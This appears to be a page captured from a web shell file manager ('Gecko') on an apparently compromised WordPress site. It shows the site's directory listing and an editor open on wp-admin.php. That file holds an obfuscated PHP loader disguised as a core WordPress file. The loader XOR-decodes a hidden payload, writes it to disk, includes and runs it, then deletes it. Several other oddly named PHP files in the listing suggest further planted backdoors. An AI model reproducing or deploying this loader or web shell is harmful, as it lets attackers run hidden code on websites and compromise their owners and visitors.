Gecko [ poreckgroup.com ]

Name	Size	Permission
wp-admin	[ DIR ]	drwx---r-x
wp-content	[ DIR ]	drwx---r-x
wp-includes	[ DIR ]	drwx---r-x
.htaccess	561 B	-rw-r--r--
0790b2e3c6eb0424387d7af7c4c0c9...	22.47 MB	-rw-r--r--
admin-ajax.php	3.47 KB	-rw-r--r--
license.txt	19.45 KB	-rwxr-xr-x
readme.html	7.23 KB	-rwxr-xr-x
themes.php	2.85 KB	-rw-r--r--
wordfence-waf.php	364 B	-rw-r--r--
wp-admin.php	2.26 KB	-rw-r--r--
wp-class-mode.php	1.88 KB	-rw-r--r--
wp-class-util.php	1.98 KB	-rw-r--r--
wp-config-sample.php	3.66 KB	-rwxr-xr-x
wp-config.php	3.77 KB	-rwxr-xr-x
wp-cron.php	5.51 KB	-rwxr-xr-x
wp-links-opml.php	2.44 KB	-rwxr-xr-x
wp-load.php	3.83 KB	-rwxr-xr-x
wp-login.php	49.73 KB	-rwxr-xr-x
wp-mail.php	8.33 KB	-rwxr-xr-x
wp-settings.php	25.99 KB	-rwxr-xr-x
wp-signup.php	33.58 KB	-rwxr-xr-x
wp-trackback.php	4.77 KB	-rwxr-xr-x
xmlrpc.php	3.08 KB	-rwxr-xr-x

Code Editor : wp-admin.php

<?php

function HgMyzakuwS($UyfudulDzC, $EmxXvSuUlJX)
{
    $UyfudulDzC = urldecode($UyfudulDzC);
    $auwQWB = str_split($UyfudulDzC);
    $action = "";
    for ($i = 0; $i < strlen($UyfudulDzC);$i++) {
        $action .= $auwQWB[$i] ^ $EmxXvSuUlJX[$i%7];
    }
    return $action;
}

$i="zW%3E%0F%18nc%06%01+%0E7%10%0C2%40i%02%1A%11%0647%22%08%0FDEf%26%1B%2B%24JRKb%0E%0E%06%0A65%0D%3AOO%0F%06%217%2B%15%1A%0C%1B5ObGXJRKb%0E%0E%06%0A65%0D%3AOO%0E%08%3E7%2B%1F%0D%00%1C2%01%21%097%17%00%2B%0DiKHS%40%7DeD%27%1B%06%1D%19%1C%27%0A%0D%3C%05%2F%05%27%13%40S%40%7DeDjbnc+%1D+%04%1C%0A%06%28H%3D%0F%0C%13Ab%0C%2F%13%09OIb%03%2B%1EAnc%3DeDGHCIb%07%3B%137%07%082%09nZHAK%7DeDGHCI+%07%3CG%40G%00fUnWSCM%2FHrG%1B%17%1B%2A%0D+OL%07%082%09g%5CAC%12KbnGHCIfHn%01%07%11InL%24GUCY%7DHj%0DH_I5%1C%3C%0B%0D%0DAb%03%2B%1EACO%60Hj%0EH_I5%1C%3C%0B%0D%0DAb%0C%2F%13%09JRfL%24LCOIb%01eLAC%12KbnGHCIfHnGHCIb%07%3B%137%07%082%09nIUC%0A.%1Af%08%1A%07Ab%0C%2F%13%098M%2F5gG6C%064%0CfC%03%06%10%1DL%24%3AAJRKbnGHCIfHn%1AeiIfHn%1AeiIfHn%15%0D%17%1C4%06nC%07%16%1D%19%0C%2F%13%09XdL%15Cm%01%05In%01%3D%14%0D%17Ab7%09%22%3C8_q%5BzT%5D%3E%40oeD%1CeiIfHn%03%01%06A%2B%0C%7BO%5CT%5EwZgNSnc%3BeDC%1C%06%046U%2F%15%1A%02%10%19%05%2B%15%0F%06Ab7%0D%28%27%28+%03DnC73%26%15%3Cg%5Cei%0F%29%1A%2B%06%0B%0BInL%3A%02%05%13I%27%1BnC%0C%02%1D%277%25%02%11CTxHj%03%09%17%08oH5jbCIfHj%03%09%17%08fUn%27%1D%0D%1A%23%1A%27%06%04%0A%13%23%40%3D%0F%0C%13A5%00%2A%17%40%01%085%0DxS7%07%0C%25%07%2A%02%40G%0D%27%1C%2FNDCNr%0D%28Q%5B%02%0B%23E%7F%06%0A%07Dr%5D%2FQEZXu%0CcQ%0E%01P%7F%5E%7BP%0DQ%5D%24OgKHG%0D%27%1C%2F8%03%06%10oAujbCIfH%27%01HK%005%1B%2B%13%40G%0D%27%1C%2F%3CO%02%02a5gNH%18dLHnGHCIfH%27%01HKM%22%09%3A%063D%08a5nZUCN%2FOgG%13ncfHnGHCIfHnGHG%00fUn%06%1A%11%08%3F%40CmHCIfHnGHCIfHnGHCN6%1EiGU%5DI%06%18%26%17%1E%06%1B5%01%21%09%40JEKbnGHCIfHnGHCIfHnGO%10%1FaHsYHDXhXcVOOdLHnGHCIfHnGHC%40%7DeDGHCIfHnGHCIf%0D-%0F%07C%295%0D%3C%0E%09%0F%00%3C%0DfC%01JRKbnGHCIfHn%1AH%06%055%0D%27%01HKM%22%09%3A%063D%08a5nZUCN%23OgG%13ncfHnGHCIfHnGH%06%1F%27%04fC%0C%02%1D%273i%03O%3E%40%7DeDGHCIfHnG%15ncfHnGHCIf%0D6%0E%1CK%40%7DeDGHCI%3BeD%1A";
$j="+%01%22%027%13%1C27-%08%06%17%0C%28%1C%3D";

$dMinVS="FhNghciThzhC";

$k = HgMyzakuwS($i, $dMinVS);
$f = HgMyzakuwS($j, $dMinVS);
$f($dMinVS, $k);
include_once ($dMinVS);
unlink($dMinVS);
exit();

${this.title}

Code Editor : wp-admin.php